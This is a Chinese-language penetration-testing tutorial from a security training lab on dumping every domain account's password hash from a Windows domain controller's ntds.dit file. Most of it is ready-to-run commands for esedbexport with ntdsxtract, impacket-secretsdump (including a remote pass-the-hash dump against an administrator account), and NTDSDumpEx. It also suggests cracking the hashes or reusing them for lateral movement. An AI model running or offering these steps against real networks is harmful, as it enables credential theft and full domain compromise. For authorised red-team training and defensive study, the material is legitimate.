攻擊域控絲滑小連招

Ms08067安全实验室發表於2024-03-27


如果已經獲得本地管理員賬號或是域管理員賬號,那麼下一個目標通常是域控制器,對於滲透測試人員來說,光榮與榮耀的那一刻就是成功從域控制器提取所有的雜湊值。但即使是擁有管理員許可權,也無法讀取域控制器中儲存的c:\Windows\NTDS\ntds.dit檔案,因為活動目錄始終訪問這個檔案,所有檔案被禁止讀出。下面介紹幾種常用提取ntds.dit的方法。

01

使用esedbexport恢復ntds.dit

將從目標系統匯出的ntds.dit放在本地Linux機器中進行解析,本次實驗環境為Kail2.0。

Kali中開啟命令列輸入命令下載libesedb。

wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz

首先安裝工具依賴環境,如圖6-24所示,輸入如下命令。

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

6-24安裝工具依賴環境

將下載好的libesedb進行編譯安裝,依次輸入命令:

$ ./configure$ make$ sudo make install$ sudo ldconfig

安裝成功後會在系統/usr/local/bin中出現esedbexport程式,如圖6-25所示。

6-25檢視esedbexport是否安裝成功

Kali中開啟命令列進入存放ntds.dit目錄中,使用esedbexport 恢復,輸入如下命令來提取表資訊,如圖6-26所示,恢復時間視ntds.dit大小決定,匯出成功會在同目錄生成一個資料夾。這裡的儲存資訊,我們只需要datatable和link_table。

esedbexport -m tables ntds.dit

6-26使用esedbexport 開啟ntds.dit

可以看到成功匯出,如圖6-27所示。

6-27檢視被開啟後的ntds.dit內容

再下載使用ntdsxtract進行提取域資訊,匯出Hash。

下載,在Kali輸入命令:

$ git clone https://github.com/csababarta/ntdsxtract.git

安裝,在Kali輸入命令:

python setup.py build && python setup.py install

然後將匯出ntds.dit.export資料夾和SYSTEM檔案一併放入ntdsxtract資料夾中,輸入如下命令。

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

成功將域內所有使用者資訊及Hash匯出到all_user.txt中,如圖6-28所示。

6-28匯出與內所有使用者和Hash資訊

匯出到Hash可以放在線上網站破解,也可以本地使用hashcat進行破解或在域內直接進行PTH進行橫向滲透。

Tips:ntds.dit中包含域內所有資訊,不僅僅包括使用者和Hash,也可以透過分析ntds.dit匯出域內計算機資訊或其他資訊,如:

dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

該命令可以執行匯出域內所有計算機資訊,匯出為csv格式,方便檢視,如圖6-29所示。

6-29匯出域內所有計算機資訊

02

使用impacket工具包匯出Hash

使用impacket工具包中的secretsdump 解析ntds.dit檔案,匯出Hash。

首先下載impacket工具包,在Kali下,輸入如下命令下載該工具。

git clone https://github.com/CoreSecurity/impacket.git

下載成功後,將impacket工具包安裝在Kali上,impacket是基於使用Python編寫的,Kail預設安裝了Python,直接輸入命令,如圖6-30所示。

python setup.py install

6-30安裝impacket

成功安裝後,開啟命令列進入ntds.dit和SYSTEM目錄,輸入如下命令,成功匯出ntds.dit中所有Hash,如圖6-31所示。

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

6-31使用impacket-secretsdump匯出使用者和Hash

Tips:impacket還可以直接使用使用者名稱和Hash進行驗證,從遠端域控制器讀取ntds.dit轉儲域Hash,如圖6-32所示:

impacket-secretsdump-hashesaad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/administrator@192.168.100.205

6-32使用impacket-secretsdump向DC獲取資訊

03

Windows下解析ntds.dit匯出域賬號及域Hash

使用NTDSDumpex.exe進行匯出Hash操作。NTDSDumpex.exe下載地址:

https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

首先將ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目錄中,開啟cmd輸入如下命令,域賬號及域Hash被成功匯出,如圖6-33所示。

NTDSDumpex.exe -d ntds.dit -s system

6-33使用NTDSDumpex.exe開啟ntds.dit

Ms08067安全實驗室專注於網路安全知識的普及和培訓,是專業的“圖書出版+培訓”的網路安全線上教育平臺,專注於網路安全領域中高階人才培養。

平臺已開設Web安全零基礎就業,Web高階安全攻防進階,紅隊實戰攻防特訓,Java程式碼安全審計,惡意程式碼分析與免殺實戰,CTF基礎實戰特訓營,網路安全應急響應,安全工具開發,AI與網路安全等系統培訓課程。實驗室出版安全圖書《Web安全攻防:滲透測試實戰指南》、《內網安全攻防:滲透測試實戰指南》、《Python安全攻防:滲透測試實戰指南》、《Java程式碼審計:入門篇》等。

掃描客服微信 獲取更多課件+學習資料

相關文章